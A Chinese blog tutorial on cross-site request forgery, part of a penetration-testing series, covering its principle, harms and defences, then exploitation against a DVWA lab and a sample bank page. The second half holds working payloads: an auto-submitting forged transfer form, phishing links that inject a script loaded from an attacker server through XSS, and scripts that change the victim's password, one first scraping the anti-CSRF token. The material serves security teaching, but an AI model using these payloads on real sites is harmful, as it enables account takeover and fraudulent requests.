渗透测试-14:CSRF 漏洞

漏洞原理

  • CSRF(Cross-Site Request Forgery),中文名称:跨站请求伪造
  • 原理:攻击者利用目标用户的身份,执行某些非法的操作
  • 跨站点的请求:请求的来源可以是非本站(由攻击者服务器向漏洞服务器发起请求)
  • 请求是伪造的:请求的发出不是用户的本意

漏洞危害

  • 篡改目标站点上的用户数据
  • 盗取用户隐私数据
  • 作为其他攻击的辅助攻击手法
  • 传播 CSRF 蠕虫

漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”

漏洞防御

  • 检查HTTP Referer是否是同域
  • 限制Session Cookie的生命周期,减少被攻击的概率
  • 使用验证码
  • 使用一次性token

利用脚本

先通过 BurpSuite 抓包,右键选择 Engagement tools => Generate CSRF PoC 生成利用页面,修改表单数据后,在页面下方添加自动执行脚本

钓鱼页面

<html>
	<!-- CSRF PoC - generated by Burp Suite Professional -->
	<body>
		<form
			action="http://[漏洞服务器IP]/csrf-bank/change.php"
			method="post"
			id="csrf"
		>
			<input type="hidden" name="number" value="200" /><br />
			<input type="hidden" name="name" value="hacker" /><br />
			<input type="submit" value="Submit request" />
		</form>
	</body>
	<script>
        // 自动提交表单
		document.getElementById("csrf").submit();
	</script>
</html>

referer绕过

服务器验证请求源,必须是从服务器的连接跳转过来的请求才会被接收,故原来的小伎俩失效,无法通过攻击者伪造的页面进行跳转,因此需要结合XSS进行伪装

钓鱼页面

<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<title>CSRF利用</title>
	</head>
	<body>
		<a
			id="demo"
			href="http://[漏洞服务器IP]/dvwa/vulnerabilities/xss_r/?name=<scriPt src=http://[攻击者服务器IP]/csrf/hook.js></scriPt>"
		>
			点我有惊喜!
		</a>
	</body>
</html>

/csrf/hook.js

xmlhttp = new XMLHttpRequest();
xmlhttp.open(
	"get",
	"http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change"
);
xmlhttp.send();

token绕过

钓鱼页面

<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="utf-8" />
		<title>token类型CSRF</title>
	</head>
	<body>
		<h1>token类型CSRF利用</h1>
		<a
			href="http://[漏洞服务器IP]/dvwa/vulnerabilities/xss_d/?default=Spanish#<script src=http://[攻击者服务器IP]/csrf/hook.js></script>"
		>
			点我有惊喜!
		</a>
	</body>
</html>

/csrf/hook.js

var url = "http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/";
if (window.XMLHttpRequest) {
	xmlhttp = new XMLHttpRequest();
} else {
	// 老版本的 Internet Explorer (IE5 和 IE6)使用 ActiveX 对象
	xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function () {
	if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
		var content = xmlhttp.responseText;
		var pattern = "user_token' value='(.*?)'";
		var match = content.match(pattern);
		var token = match[1];
		var new_url =
			"http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/?user_token=" +
			token +
			"&password_new=password&password_conf=password&Change=Change";
		if (count == 0) {
			count++;
			xmlhttp.open("GET", new_url, false);
			xmlhttp.send();
		}
	}
};
xmlhttp.open("GET", url, false);
xmlhttp.send();
posted @ 2022-03-30 23:49  toki-plus  阅读(117)  评论(0编辑  收藏  举报